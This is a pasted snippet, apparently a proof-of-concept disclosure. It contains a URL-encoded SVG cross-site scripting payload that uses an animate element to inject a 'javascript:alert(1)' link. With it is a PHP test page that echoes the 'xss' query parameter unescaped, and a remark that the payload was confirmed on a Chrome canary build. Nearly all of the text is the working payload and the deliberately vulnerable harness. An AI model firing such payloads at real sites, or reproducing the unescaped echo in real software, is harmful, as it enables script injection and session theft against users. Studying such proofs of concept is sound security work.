Advertisement
Guest User

Untitled

a guest
Feb 14th, 2013
3,123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.30 KB | None | 0 0
  1. // URL
  2. test.php?xss=<svg%20xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle%20r=100%20/><animate%20attributeName="xlink:href"%20values=";javascript:alert(1)"%20begin="0s"%20dur="0.1s"%20fill="freeze"/>
  3.  
  4. // test.php
  5. <body>
  6. <?php echo $_GET['xss'] ?>
  7.  
  8. Confirmed on version 26.0.1411.0 canary
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement